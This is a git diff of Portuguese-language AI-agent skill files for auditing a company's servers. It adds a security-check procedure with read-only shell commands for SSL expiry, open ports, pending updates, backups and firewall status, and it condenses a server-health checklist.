ALTO (Score 7-8.9)
|
||||
Vulnerabilidade significativa
|
||||
XSS Stored, CSRF, Insecure Deserialization
|
||||
→ Corrigir em 24-48h
|
||||
|
||||
MÉDIO (Score 4-6.9)
|
||||
Risco moderado
|
||||
XSS Reflected, Information Disclosure, Missing Headers
|
||||
→ Corrigir em 7 dias
|
||||
|
||||
BAIXO (Score 1-3.9)
|
||||
Melhoria recomendada
|
||||
Weak Password Policy, Verbose Errors, Outdated Libraries
|
||||
→ Corrigir em 30 dias
|
||||
```
|
||||
|
||||
**Cálculo CVSS v3:** https://www.first.org/cvss/calculator/3.1
|
||||
320
infraestrutura/skills/security-check/SKILL.md
Normal file
320
infraestrutura/skills/security-check/SKILL.md
Normal file
@@ -0,0 +1,320 @@
|
||||
---
|
||||
name: security-check
|
||||
description: Auditoria de seguranca de infraestrutura — certificados SSL, portas abertas, actualizacoes pendentes, backups recentes, CSF/firewall e email security. Score por servidor.
|
||||
context: fork
|
||||
---
|
||||
|
||||
# /security-check v1.0 (infraestrutura)
|
||||
|
||||
Auditoria de seguranca dos servidores Descomplicar. Verifica SSL, portas, actualizacoes, backups, firewall e email security.
|
||||
|
||||
> **Auditoria de dependencias de codigo:** usar `/dep-audit` (plugin dev-tools).
|
||||
|
||||
**Referencia:** PROC-Security-Audit-API-Keys.md | PROC-Backup-Sistema.md | Memory: `infra.md`, `cwp-ssl-autorenew-fix.md`
|
||||
|
||||
---
|
||||
|
||||
## Servidores Alvo
|
||||
|
||||
| Alias | Host | IP | SO | Firewall | Gestor SSL |
|
||||
|-------|------|----|----|----------|------------|
|
||||
| server | server.descomplicar.pt | 176.9.3.158 | CentOS (CWP) | CSF v15 | acme.sh |
|
||||
| easy | qibspu.easypanel.host | 178.63.18.51 | Ubuntu 24.04 | — | EasyPanel/Traefik |
|
||||
| gateway | mcp-hub.descomplicar.pt | — | — | — | nginx/acme |
|
||||
|
||||
---
|
||||
|
||||
## Modos de Execucao
|
||||
|
||||
| Comando | Descricao |
|
||||
|---------|-----------|
|
||||
| `/security-check` | Auditoria completa (todos os servidores, todos os checks) |
|
||||
| `/security-check server` | Apenas servidor CWP |
|
||||
| `/security-check easy` | Apenas EasyPanel |
|
||||
| `/security-check ssl` | Apenas certificados SSL (todos os servidores) |
|
||||
| `/security-check quick` | Resumo rapido: SSL a expirar + backups + firewall |
|
||||
|
||||
---
|
||||
|
||||
## Protocolo de Execucao
|
||||
|
||||
### Check 1: Certificados SSL (server)
|
||||
|
||||
```bash
|
||||
# Executar via mcp__ssh-unified__ssh_execute(server="server")
|
||||
|
||||
# Listar todos os certs e datas de expiracao
|
||||
for dir in /root/.acme.sh/cwp_certs/*_ecc; do
|
||||
domain=$(basename "$dir" | sed 's/_ecc$//')
|
||||
cert="$dir/${domain}.cer"
|
||||
if [ -f "$cert" ]; then
|
||||
expiry=$(openssl x509 -enddate -noout -in "$cert" 2>/dev/null | cut -d= -f2)
|
||||
days=$(( ($(date -d "$expiry" +%s) - $(date +%s)) / 86400 ))
|
||||
if [ "$days" -lt 15 ]; then
|
||||
echo "CRITICAL $domain expires in ${days}d ($expiry)"
|
||||
elif [ "$days" -lt 30 ]; then
|
||||
echo "WARN $domain expires in ${days}d ($expiry)"
|
||||
else
|
||||
echo "OK $domain expires in ${days}d"
|
||||
fi
|
||||
fi
|
||||
done | sort
|
||||
```
|
||||
|
||||
**Thresholds:**
|
||||
- **OK:** >30 dias para expirar
|
||||
- **WARN:** 15-30 dias
|
||||
- **CRITICAL:** <15 dias
|
||||
|
||||
### Check 2: Portas Abertas (server)
|
||||
|
||||
```bash
|
||||
# Portas a escutar no servidor CWP
|
||||
ss -tlnp | awk 'NR>1 {print $4}' | sed 's/.*://' | sort -n | uniq
|
||||
|
||||
# Portas esperadas (CWP padrao):
|
||||
# 22(SSH) 25(SMTP) 80(HTTP) 110(POP3) 143(IMAP) 443(HTTPS)
|
||||
# 465(SMTPS) 587(Submission) 993(IMAPS) 995(POP3S)
|
||||
# 2031(CWP) 2087(CWP Admin) 3306(MySQL)
|
||||
# 8443(CWP SSL) 9443(SSH alternativo)
|
||||
EXPECTED="22 25 80 110 143 443 465 587 993 995 2031 2087 3306 8443 9443"
|
||||
|
||||
# Comparar: portas abertas que NAO estao na lista esperada
|
||||
ss -tlnp | awk 'NR>1 {print $4}' | sed 's/.*://' | sort -n | uniq | while read port; do
|
||||
if ! echo "$EXPECTED" | grep -qw "$port"; then
|
||||
proc=$(ss -tlnp | grep ":${port} " | sed 's/.*users:(("//' | cut -d'"' -f1)
|
||||
echo "UNEXPECTED :${port} ($proc)"
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
### Check 3: Actualizacoes Pendentes
|
||||
|
||||
```bash
|
||||
# CWP Server (CentOS/dnf)
|
||||
# mcp__ssh-unified__ssh_execute(server="server")
|
||||
dnf check-update --quiet 2>/dev/null | grep -v "^$" | wc -l
|
||||
# Se >0: listar security updates
|
||||
dnf updateinfo list security 2>/dev/null | tail -10
|
||||
|
||||
# EasyPanel (Ubuntu/apt)
|
||||
# mcp__ssh-unified__ssh_execute(server="easy")
|
||||
apt list --upgradable 2>/dev/null | grep -c upgradable
|
||||
# Se >0: listar security updates
|
||||
apt list --upgradable 2>/dev/null | grep -i secur
|
||||
```
|
||||
|
||||
**Thresholds:**
|
||||
- **OK:** 0 security updates pendentes
|
||||
- **WARN:** 1-5 security updates
|
||||
- **CRITICAL:** >5 security updates OU kernel update pendente
|
||||
|
||||
### Check 4: Backups Recentes (server)
|
||||
|
||||
```bash
|
||||
# mcp__ssh-unified__ssh_execute(server="server")
|
||||
|
||||
echo "=== MySQL Daily ==="
|
||||
ls -lt /home/backup/mysql/daily/ 2>/dev/null | head -3
|
||||
latest_mysql=$(find /home/backup/mysql/daily/ -name "*.sql.gz" -mtime -2 2>/dev/null | wc -l)
|
||||
echo "BDs com backup <48h: $latest_mysql"
|
||||
|
||||
echo "=== Monthly ==="
|
||||
ls -lt /home/backup/monthly/ 2>/dev/null | head -5
|
||||
|
||||
echo "=== Rsync Easy->Server ==="
|
||||
# Verificar ultimo rsync (Easy replica para Server as 06:00)
|
||||
ls -lt /gordito/backup-easy/ 2>/dev/null | head -3 || echo "path nao existe"
|
||||
|
||||
echo "=== Idade ultimo backup ==="
|
||||
newest=$(find /home/backup/ -type f -name "*.gz" -printf '%T@\n' 2>/dev/null | sort -rn | head -1)
|
||||
if [ -n "$newest" ]; then
|
||||
age_hours=$(echo "scale=1; ($(date +%s) - $newest) / 3600" | bc)
|
||||
echo "Backup mais recente: ${age_hours}h atras"
|
||||
fi
|
||||
```
|
||||
|
||||
**Thresholds:**
|
||||
- **OK:** backup MySQL <48h, monthly <35 dias
|
||||
- **WARN:** backup MySQL 48-72h, monthly 35-60 dias
|
||||
- **CRITICAL:** backup MySQL >72h, monthly >60 dias
|
||||
|
||||
### Check 5: Firewall CSF (server)
|
||||
|
||||
```bash
|
||||
# mcp__ssh-unified__ssh_execute(server="server")
|
||||
|
||||
echo "=== CSF Status ==="
|
||||
csf -v
|
||||
csf -l | head -5
|
||||
|
||||
echo "=== IPs Bloqueados ==="
|
||||
wc -l /etc/csf/csf.deny
|
||||
echo "Ultimos 5 bloqueios:"
|
||||
tail -5 /etc/csf/csf.deny
|
||||
|
||||
echo "=== LFD Status ==="
|
||||
systemctl is-active lfd
|
||||
|
||||
echo "=== Ataques Recentes (24h) ==="
|
||||
grep "$(date +%b\ %d)" /var/log/lfd.log 2>/dev/null | grep -c "blocked"
|
||||
```
|
||||
|
||||
**Thresholds:**
|
||||
- **OK:** CSF activo, LFD activo, <50 bloqueios/dia
|
||||
- **WARN:** >50 bloqueios/dia (possivel ataque)
|
||||
- **CRITICAL:** CSF/LFD inactivo
|
||||
|
||||
### Check 6: Email Security (server)
|
||||
|
||||
```bash
|
||||
# mcp__ssh-unified__ssh_execute(server="server")
|
||||
|
||||
# Executar script de verificacao (criado 12-03-2026)
|
||||
bash /root/scripts/email-security-check.sh 2>&1 | tail -20
|
||||
echo "Exit code: $?"
|
||||
# Exit 0 = OK, Exit 1 = erros detectados
|
||||
```
|
||||
|
||||
**Verifica:** Postfix header/body checks, content_filter (amavis), ClamAV, SpamAssassin, DMARC p=reject, Sieve anti-backscatter.
|
||||
|
||||
---
|
||||
|
||||
## Execucao Pratica
|
||||
|
||||
Agrupar comandos para minimizar chamadas SSH (3 chamadas total).
|
||||
|
||||
**Chamada 1 — server (SSL + portas + firewall):**
|
||||
```bash
|
||||
echo "=== SSL CERTS ===" && for dir in /root/.acme.sh/cwp_certs/*_ecc; do domain=$(basename "$dir" | sed 's/_ecc$//'); cert="$dir/${domain}.cer"; if [ -f "$cert" ]; then expiry=$(openssl x509 -enddate -noout -in "$cert" 2>/dev/null | cut -d= -f2); days=$(( ($(date -d "$expiry" +%s) - $(date +%s)) / 86400 )); if [ "$days" -lt 15 ]; then echo "CRITICAL ${days}d $domain"; elif [ "$days" -lt 30 ]; then echo "WARN ${days}d $domain"; else echo "OK ${days}d $domain"; fi; fi; done | sort && echo "=== PORTAS ===" && ss -tlnp | awk 'NR>1 {print $4}' | sed 's/.*://' | sort -n | uniq -c | sort -rn && echo "=== CSF ===" && csf -v && systemctl is-active lfd && wc -l /etc/csf/csf.deny && echo "Bloqueios hoje:" && grep "$(date +%b\ %d)" /var/log/lfd.log 2>/dev/null | grep -c "blocked"
|
||||
```
|
||||
|
||||
**Chamada 2 — server (backups + updates + email sec):**
|
||||
```bash
|
||||
echo "=== BACKUPS ===" && echo "MySQL daily:" && find /home/backup/mysql/daily/ -name "*.sql.gz" -mtime -2 2>/dev/null | wc -l && echo "Monthly:" && ls -lt /home/backup/monthly/ 2>/dev/null | head -3 && echo "=== UPDATES ===" && dnf check-update --quiet 2>/dev/null | grep -v "^$" | wc -l && dnf updateinfo list security 2>/dev/null | tail -5 && echo "=== EMAIL SEC ===" && bash /root/scripts/email-security-check.sh 2>&1 | tail -15 && echo "Exit: $?"
|
||||
```
|
||||
|
||||
**Chamada 3 — easy (updates + portas):**
|
||||
```bash
|
||||
echo "=== UPDATES ===" && apt list --upgradable 2>/dev/null | grep -v "^Listing" | wc -l && apt list --upgradable 2>/dev/null | grep -v "^Listing" | head -10 && echo "=== PORTAS ===" && ss -tlnp | grep LISTEN | wc -l && echo "=== DOCKER ===" && docker ps --format '{{.Names}}: {{.Status}}' 2>/dev/null | grep -i unhealthy && echo "=== DISCO ===" && df -h / /gordito 2>/dev/null
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Output
|
||||
|
||||
```markdown
|
||||
## Security Check — [data via mcp-time]
|
||||
|
||||
### Resumo
|
||||
|
||||
| Servidor | SSL | Portas | Updates | Backups | Firewall | Email | Score |
|
||||
|----------|-----|--------|---------|---------|----------|-------|-------|
|
||||
| server | OK/WARN/CRIT | OK/WARN | OK/WARN/CRIT | OK/WARN/CRIT | OK/WARN/CRIT | OK/WARN | X/6 |
|
||||
| easy | n/a | OK/WARN | OK/WARN/CRIT | n/a | n/a | n/a | X/2 |
|
||||
|
||||
**Score global:** X/8 checks OK
|
||||
|
||||
### SSL Certificados ([N] dominios verificados)
|
||||
|
||||
| Estado | Dominio | Expira em | Data |
|
||||
|--------|---------|-----------|------|
|
||||
| CRITICAL | example.pt | Xd | YYYY-MM-DD |
|
||||
| WARN | example2.pt | Xd | YYYY-MM-DD |
|
||||
|
||||
[Se todos OK: "Todos os N certificados validos (minimo Xd)"]
|
||||
|
||||
### Portas Inesperadas
|
||||
| Porta | Processo | Accao Sugerida |
|
||||
|-------|----------|----------------|
|
||||
| XXXX | processo | Investigar / Fechar |
|
||||
|
||||
[Se nenhuma: "Todas as portas dentro do esperado"]
|
||||
|
||||
### Actualizacoes Pendentes
|
||||
- **server (CentOS):** N packages (M security)
|
||||
- **easy (Ubuntu):** N packages
|
||||
|
||||
### Backups
|
||||
- MySQL daily: N BDs com backup <48h [OK/WARN/CRIT]
|
||||
- Monthly: ultimo em DD-MM-YYYY [OK/WARN/CRIT]
|
||||
|
||||
### Firewall CSF
|
||||
- CSF: vXX [activo/inactivo]
|
||||
- LFD: [activo/inactivo]
|
||||
- IPs bloqueados: N permanentes
|
||||
- Bloqueios hoje: N
|
||||
|
||||
### Email Security
|
||||
- [resultado do script email-security-check.sh]
|
||||
|
||||
### Accoes Recomendadas
|
||||
1. [CRITICAL] Accao imediata
|
||||
2. [WARN] Accao recomendada
|
||||
3. [INFO] Melhorias opcionais
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Scoring
|
||||
|
||||
| Score | Significado |
|
||||
|-------|-------------|
|
||||
| 8/8 | Excelente — tudo operacional |
|
||||
| 6-7/8 | Bom — warnings menores |
|
||||
| 4-5/8 | Atencao — accoes necessarias |
|
||||
| <4/8 | Critico — accao imediata |
|
||||
|
||||
**Calculo:** 1 ponto por cada check OK. WARN conta 0.5. CRITICAL conta 0.
|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
```
|
||||
SSL CRITICAL (<15d):
|
||||
1. SSH server: /root/.acme.sh/acme.sh --renew -d DOMAIN --ecc
|
||||
2. Copiar para /etc/pki/tls/: /scripts/autossl_install_certs
|
||||
3. Reload nginx: /scripts/cwp_api webservers restart
|
||||
4. Verificar Cloudflare DNS-only (proxied impede Let's Encrypt)
|
||||
Ref: cwp-ssl-autorenew-fix.md
|
||||
|
||||
CSF/LFD inactivo:
|
||||
1. csf -e (activar)
|
||||
2. service lfd start
|
||||
3. Verificar /etc/csf/csf.conf (TESTING = "0")
|
||||
|
||||
Backup MySQL >72h:
|
||||
1. Verificar cron: crontab -l | grep backup
|
||||
2. Verificar espaco: df -h /home/backup/
|
||||
3. Verificar logs: /var/log/cron | grep backup
|
||||
|
||||
Muitos bloqueios CSF (>100/dia):
|
||||
1. Analisar origens: awk '{print $2}' /etc/csf/csf.deny | sort | uniq -c | sort -rn | head
|
||||
2. Se mesmo IP range: bloquear CIDR
|
||||
3. Se paises especificos: CC_DENY em csf.conf
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Integracao
|
||||
|
||||
- **/today** pode invocar `/security-check quick` como parte do checkup diario
|
||||
- **/infra-check** (cron) ja faz verificacao basica; `/security-check` e mais profundo e interactivo
|
||||
- **/server-health** cobre metricas de performance; `/security-check` foca-se em seguranca
|
||||
- **/cwp-security** foca-se em operacoes CSF; `/security-check` e auditoria abrangente
|
||||
- Resultado pode ser publicado na discussao #31 (Logs) do projecto #65
|
||||
|
||||
---
|
||||
|
||||
## Anti-Patterns
|
||||
|
||||
- **Nunca** desactivar CSF para "resolver" problemas de acesso
|
||||
- **Nunca** ignorar certificado CRITICAL (<15d) — pode expirar antes do proximo check
|
||||
- **Nunca** actualizar kernel sem janela de manutencao planeada
|
||||
- **Sempre** verificar email-security apos alteracoes em Postfix/AMaViS
|
||||
- **Sempre** incluir timestamp via mcp-time no output
|
||||
|
||||
---
|
||||
|
||||
*Skill v1.0.0 | 12-03-2026 | Descomplicar*
|
||||
@@ -1,28 +1,41 @@
|
||||
---
|
||||
name: server-health
|
||||
description: Server health monitoring and diagnostics. Checks system resources, services
|
||||
status, and identifies issues. Use when user mentions "server health", "system check",
|
||||
"server status", "resource monitoring", "server diagnostics".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 2.0.0
|
||||
quality_score: 75
|
||||
user_invocable: true
|
||||
desk_task: 1484
|
||||
description: Diagnostico completo de servidor -- monitorizacao de recursos, estado de servicos e identificacao de problemas de performance.
|
||||
---
|
||||
|
||||
# /server-health - Diagnóstico Completo de Servidor
|
||||
# /server-health - Diagnostico Completo de Servidor
|
||||
|
||||
Checklist sistemático para diagnosticar problemas de performance ou auditar estado do servidor CWP.
|
||||
Checklist sistematico para diagnosticar problemas de performance ou auditar estado do servidor CWP.
|
||||
|
||||
---
|
||||
|
||||
## Servidor Alvo
|
||||
## Contexto NotebookLM
|
||||
|
||||
Consultar ANTES de executar para contexto especializado:
|
||||
|
||||
| Notebook | ID | Consultar quando |
|
||||
|----------|-----|-----------------|
|
||||
| Cloud e Infraestrutura TI | f9a79b5a-649f-4443-afaf-7ff562b6c2e7 | Sempre |
|
||||
|
||||
```
|
||||
mcp__notebooklm__notebook_query({
|
||||
notebook_id: "f9a79b5a-649f-4443-afaf-7ff562b6c2e7",
|
||||
query: "<adaptar ao contexto do pedido>"
|
||||
})
|
||||
```
|
||||
|
||||
### Procedimentos relacionados
|
||||
|
||||
- [PROC-Backup-Sistema.md](file:///media/ealmeida/Dados/Hub/06-Operacoes/Procedimentos/D7-Tecnologia/Seguranca/PROC-Backup-Sistema.md)
|
||||
|
||||
---
|
||||
|
||||
## Servidor alvo
|
||||
|
||||
| Servidor | IP | MCP | User |
|
||||
|----------|-----|-----|------|
|
||||
| **CWP Principal** | 176.9.3.158 | ssh-unified | root |
|
||||
|
||||
**Acesso:**
|
||||
```javascript
|
||||
mcp__ssh-unified__ssh_execute({
|
||||
server: "server",
|
||||
@@ -32,446 +45,58 @@ mcp__ssh-unified__ssh_execute({
|
||||
|
||||
---
|
||||
|
||||
## Modos de Execução
|
||||
## Modos de execucao
|
||||
|
||||
| Comando | Descrição |
|
||||
| Comando | Descricao |
|
||||
|---------|-----------|
|
||||
| `/server-health` | Diagnóstico completo (todos os checks) |
|
||||
| `/server-health quick` | Apenas métricas críticas (load, RAM, disco) |
|
||||
| `/server-health` | Diagnostico completo (todos os checks) |
|
||||
| `/server-health quick` | Apenas metricas criticas (load, RAM, disco) |
|
||||
| `/server-health mysql` | Focus em MySQL e bases de dados |
|
||||
| `/server-health ssl` | Verificação de todos os certificados SSL |
|
||||
| `/server-health ssl` | Verificacao de todos os certificados SSL |
|
||||
| `/server-health sites` | Status de todos os sites WordPress |
|
||||
|
||||
---
|
||||
|
||||
## Workflow Completo
|
||||
## Workflow completo
|
||||
|
||||
### Passo 1: Sistema (Paralelo)
|
||||
Executar os 7 passos em sequencia. Comandos detalhados para cada passo em:
|
||||
|
||||
**Executar em paralelo:**
|
||||
**-> [references/commands.md](references/commands.md)**
|
||||
|
||||
```bash
|
||||
# Load average (3 valores: 1min, 5min, 15min)
|
||||
uptime
|
||||
### Passo 1: Sistema (paralelo)
|
||||
|
||||
# RAM e Swap
|
||||
free -h
|
||||
|
||||
# Espaço em disco
|
||||
df -h
|
||||
|
||||
# Top processos CPU
|
||||
top -bn1 | head -20
|
||||
|
||||
# Load numérico
|
||||
cat /proc/loadavg
|
||||
|
||||
# CPU/IO statistics
|
||||
vmstat 1 3
|
||||
|
||||
# Processos específicos (Apache, MySQL, Nginx)
|
||||
ps aux | grep -E 'httpd|mysql|nginx' | grep -v grep
|
||||
```
|
||||
|
||||
**Validação:**
|
||||
- ✅ Load 1min <2 → OK
|
||||
- ⚠️ Load 1min 2-5 → Warning
|
||||
- ❌ Load 1min >5 → Critical
|
||||
- ✅ RAM <70% → OK
|
||||
- ❌ Swap >10% → Investigar causa
|
||||
Recolher: load average, RAM, swap, disco, top processos CPU.
|
||||
|
||||
### Passo 2: MySQL
|
||||
|
||||
```bash
|
||||
# Status geral MySQL
|
||||
mysqladmin status
|
||||
|
||||
# Processos activos
|
||||
mysqladmin processlist | head -20
|
||||
|
||||
# Threads conectadas
|
||||
mysql -e "SHOW GLOBAL STATUS LIKE 'Threads%';"
|
||||
|
||||
# Slow queries
|
||||
mysql -e "SHOW GLOBAL STATUS LIKE 'Slow_queries';"
|
||||
|
||||
# Tamanho das BDs
|
||||
mysql -e "SELECT table_schema AS 'Database',
|
||||
ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) AS 'Size (MB)'
|
||||
FROM information_schema.TABLES
|
||||
GROUP BY table_schema
|
||||
ORDER BY SUM(data_length + index_length) DESC
|
||||
LIMIT 10;"
|
||||
|
||||
# Verificar se há tabelas corrompidas
|
||||
mysqlcheck --all-databases --check
|
||||
```
|
||||
|
||||
**Queries Críticas:**
|
||||
```sql
|
||||
-- Ver queries lentas em execução
|
||||
SELECT id, user, host, db, command, time, state, LEFT(info, 100) as query
|
||||
FROM information_schema.PROCESSLIST
|
||||
WHERE command != 'Sleep'
|
||||
AND time > 5
|
||||
ORDER BY time DESC;
|
||||
|
||||
-- BDs maiores que 500MB
|
||||
SELECT table_schema,
|
||||
ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) AS size_mb
|
||||
FROM information_schema.TABLES
|
||||
GROUP BY table_schema
|
||||
HAVING size_mb > 500
|
||||
ORDER BY size_mb DESC;
|
||||
```
|
||||
Recolher: status geral, processos activos, threads, slow queries, tamanho BDs, tabelas corrompidas.
|
||||
|
||||
### Passo 3: Web Servers
|
||||
|
||||
```bash
|
||||
# Status Apache
|
||||
systemctl status httpd --no-pager | head -15
|
||||
|
||||
# Status Nginx
|
||||
systemctl status nginx --no-pager | head -15
|
||||
|
||||
# Testar localhost
|
||||
curl -sI localhost | head -10
|
||||
|
||||
# Verificar GZIP
|
||||
curl -sI -H 'Accept-Encoding: gzip' localhost | grep -i encoding
|
||||
|
||||
# Conexões activas
|
||||
netstat -an | grep :80 | wc -l
|
||||
netstat -an | grep :443 | wc -l
|
||||
|
||||
# Workers Apache
|
||||
ps aux | grep httpd | wc -l
|
||||
|
||||
# Virtual hosts configurados
|
||||
httpd -S 2>&1 | grep -E 'port|namevhost' | head -20
|
||||
```
|
||||
Verificar: Apache, Nginx, conexoes activas, GZIP, virtual hosts.
|
||||
|
||||
### Passo 4: PHP
|
||||
|
||||
```bash
|
||||
# Versão PHP
|
||||
php -v | head -1
|
||||
|
||||
# Memory limit
|
||||
php -i | grep memory_limit
|
||||
|
||||
# OPcache status
|
||||
php -i | grep -E 'opcache.enable|opcache.memory_consumption'
|
||||
|
||||
# Processos PHP-FPM
|
||||
ps aux | grep php-fpm | wc -l
|
||||
|
||||
# Configuração PHP-FPM (se existir)
|
||||
php-fpm -tt 2>&1 | head -30
|
||||
```
|
||||
Verificar: versao, memory limit, OPcache, PHP-FPM workers.
|
||||
|
||||
### Passo 5: SSL/Certificados
|
||||
|
||||
```bash
|
||||
# Listar todos os certificados instalados
|
||||
ls -lh /root/.acme.sh/cwp_certs/
|
||||
Listar certificados, verificar renovacoes, testar dominios especificos.
|
||||
|
||||
# Verificar próximas renovações (todos os domínios)
|
||||
for d in $(ls /root/.acme.sh/cwp_certs/); do
|
||||
echo "=== $d ==="
|
||||
grep -E 'Le_NextRenewTimeStr|Le_Alt' /root/.acme.sh/cwp_certs/$d/*.conf 2>/dev/null | head -3
|
||||
done
|
||||
### Passo 6: Seguranca
|
||||
|
||||
# Verificar certificados activos em Nginx
|
||||
for conf in /etc/nginx/vhosts/*.conf; do
|
||||
domain=$(basename $conf .conf)
|
||||
echo "=== $domain ==="
|
||||
grep -E 'ssl_certificate|server_name' $conf | head -3
|
||||
done
|
||||
|
||||
# Testar um domínio específico
|
||||
echo | openssl s_client -connect DOMINIO:443 2>/dev/null | openssl x509 -noout -dates -subject
|
||||
|
||||
# Log de renovações recentes
|
||||
tail -100 /root/.acme.sh/acme.sh.log | grep -E 'Renew|error|success'
|
||||
```
|
||||
|
||||
**Validação SSL:**
|
||||
- ✅ Renovação >30 dias → OK
|
||||
- ⚠️ Renovação 15-30 dias → Avisar
|
||||
- ❌ Renovação <15 dias → Urgente
|
||||
|
||||
### Passo 6: Segurança
|
||||
|
||||
```bash
|
||||
# Fail2ban status
|
||||
systemctl status fail2ban --no-pager 2>/dev/null || echo 'fail2ban não instalado'
|
||||
|
||||
# Jails activos
|
||||
fail2ban-client status 2>/dev/null | head -10
|
||||
|
||||
# IPs banidos
|
||||
fail2ban-client status sshd 2>/dev/null | grep "Banned IP"
|
||||
|
||||
# Portas abertas
|
||||
netstat -tlnp | grep LISTEN | head -20
|
||||
|
||||
# Últimos logins SSH
|
||||
last -10
|
||||
|
||||
# Tentativas SSH falhadas
|
||||
grep "Failed password" /var/log/secure | tail -20
|
||||
|
||||
# Firewall activo?
|
||||
systemctl status firewalld --no-pager || iptables -L -n | head -20
|
||||
```
|
||||
Verificar: Fail2ban, portas abertas, logins SSH, firewall.
|
||||
|
||||
### Passo 7: Sites WordPress
|
||||
|
||||
```bash
|
||||
# Verificar todos os sites WordPress
|
||||
for dir in /home/*/public_html; do
|
||||
if [ -f "$dir/wp-config.php" ]; then
|
||||
domain=$(basename $(dirname $dir))
|
||||
echo "=== $domain ==="
|
||||
|
||||
# Versão WordPress
|
||||
grep "wp_version = " $dir/wp-includes/version.php | head -1
|
||||
|
||||
# Tamanho wp-content
|
||||
du -sh $dir/wp-content
|
||||
|
||||
# Plugins activos (via BD se possível)
|
||||
# Testar acesso HTTP
|
||||
curl -sI "http://$domain" | head -3
|
||||
fi
|
||||
done
|
||||
|
||||
# Script de verificação completo
|
||||
/root/scripts/check-wp-sites.sh 2>/dev/null || echo "Script não existe"
|
||||
```
|
||||
Verificar todos os sites: versao WP, tamanho wp-content, acesso HTTP.
|
||||
|
||||
---
|
||||
|
||||
## Template de Output
|
||||
## Thresholds de alertas
|
||||
|
||||
```markdown
|
||||
# 🔍 Server Health Report - YYYY-MM-DD HH:MM
|
||||
|
||||
## ⚡ Resumo Executivo
|
||||
|
||||
| Métrica | Valor | Status | Limite |
|
||||
|---------|-------|--------|--------|
|
||||
| Load (1m) | X.XX | ✅/⚠️/❌ | <2 |
|
||||
| RAM Usada | XX% | ✅/⚠️/❌ | <70% |
|
||||
| Swap Usado | XX% | ✅/⚠️/❌ | <10% |
|
||||
| Disco / | XX% | ✅/⚠️/❌ | <70% |
|
||||
| MySQL Threads | XX | ✅/⚠️/❌ | <50 |
|
||||
| Slow Queries | XX | ✅/⚠️/❌ | <10 |
|
||||
| Sites WP OK | XX/YY | ✅/⚠️/❌ | 100% |
|
||||
| SSL Expiring | XX | ✅/⚠️/❌ | 0 |
|
||||
|
||||
**Health Score:** XX/100
|
||||
|
||||
---
|
||||
|
||||
## 🚨 Alertas Críticos
|
||||
|
||||
> [!danger] CRÍTICO
|
||||
> - Load >5 há 10 minutos (possível loop infinito)
|
||||
> - Swap 45% usado (memória insuficiente)
|
||||
|
||||
> [!warning] ATENÇÃO
|
||||
> - 3 sites WordPress com erros HTTP 500
|
||||
> - Certificado SSL solarfv360.pt expira em 12 dias
|
||||
|
||||
---
|
||||
|
||||
## 📊 Detalhes
|
||||
|
||||
### Sistema
|
||||
|
||||
```
|
||||
Uptime: 45 days, 12:34
|
||||
Load Average: 2.15, 1.89, 1.56
|
||||
RAM: 12.5 GB / 16 GB (78%) ⚠️
|
||||
Swap: 1.2 GB / 4 GB (30%) ❌
|
||||
Disco /: 85 GB / 200 GB (42%) ✅
|
||||
```
|
||||
|
||||
**Top Processos CPU:**
|
||||
```
|
||||
PID USER %CPU %MEM COMMAND
|
||||
1234 mysql 45.2 12.3 mysqld
|
||||
5678 apache 8.5 2.1 httpd
|
||||
```
|
||||
|
||||
### MySQL
|
||||
|
||||
**Status:**
|
||||
- Uptime: 1,234,567 seconds
|
||||
- Threads conectadas: 23 / 151 ✅
|
||||
- Slow queries: 145 (total) ⚠️
|
||||
- Queries/segundo: ~150
|
||||
|
||||
**BDs Grandes (>500MB):**
|
||||
| Base de Dados | Tamanho |
|
||||
|---------------|---------|
|
||||
| ealmeida_desk24 | 1,234 MB |
|
||||
| carstuff_prod | 856 MB |
|
||||
|
||||
**Queries Lentas Activas:**
|
||||
```
|
||||
id: 12345 | user: wp_user | time: 45s
|
||||
query: SELECT * FROM wp_posts WHERE...
|
||||
```
|
||||
|
||||
### Web
|
||||
|
||||
**Apache:** ✅ Activo (145 workers)
|
||||
**Nginx:** ✅ Activo (proxy reverso)
|
||||
**Conexões:**
|
||||
- HTTP (80): 23 conexões
|
||||
- HTTPS (443): 67 conexões
|
||||
|
||||
**GZIP:** ✅ Activo
|
||||
|
||||
### PHP
|
||||
|
||||
**Versão:** PHP 8.1.27
|
||||
**Memory Limit:** 256M
|
||||
**OPcache:** ✅ Activo (128MB)
|
||||
**PHP-FPM Workers:** 12
|
||||
|
||||
### SSL
|
||||
|
||||
**Certificados Instalados:** 34
|
||||
|
||||
**Renovações Próximas (<30 dias):**
|
||||
| Domínio | Expira em | Status |
|
||||
|---------|-----------|--------|
|
||||
| solarfv360.pt | 12 dias | ⚠️ Renovar |
|
||||
| emanuelalmeida.pt | 28 dias | ⚠️ Avisar |
|
||||
|
||||
**Problemas:**
|
||||
- ❌ certificado_antigo.pt - Expirado há 5 dias
|
||||
|
||||
### Segurança
|
||||
|
||||
**Fail2ban:** ✅ Activo
|
||||
**Jails:** sshd, apache-auth, nginx-limit
|
||||
**IPs Banidos:** 45 (último: 123.45.67.89)
|
||||
|
||||
**Portas Abertas:**
|
||||
- 22 (SSH) ✅
|
||||
- 80 (HTTP) ✅
|
||||
- 443 (HTTPS) ✅
|
||||
- 3306 (MySQL) ⚠️ Público (deveria ser localhost only)
|
||||
|
||||
**Últimas Tentativas SSH Falhadas:**
|
||||
```
|
||||
2026-02-03 10:15 - Invalid user admin from 192.168.1.100
|
||||
2026-02-03 09:45 - Failed password for root from 45.67.89.10
|
||||
```
|
||||
|
||||
### Sites WordPress
|
||||
|
||||
**Total:** 15 sites
|
||||
**OK:** 12 (80%) ✅
|
||||
**Erros:** 3 (20%) ❌
|
||||
|
||||
**Sites com Erro:**
|
||||
| Domínio | Erro | Acção |
|
||||
|---------|------|-------|
|
||||
| site-antigo.pt | HTTP 500 | Verificar error_log |
|
||||
| teste.descomplicar.pt | HTTP 404 | Site desactivado? |
|
||||
|
||||
---
|
||||
|
||||
## 📋 Recomendações Prioritárias
|
||||
|
||||
### 🔴 URGENTE (Hoje)
|
||||
1. ⚠️ Reduzir uso de Swap (45%) - Investigar processos
|
||||
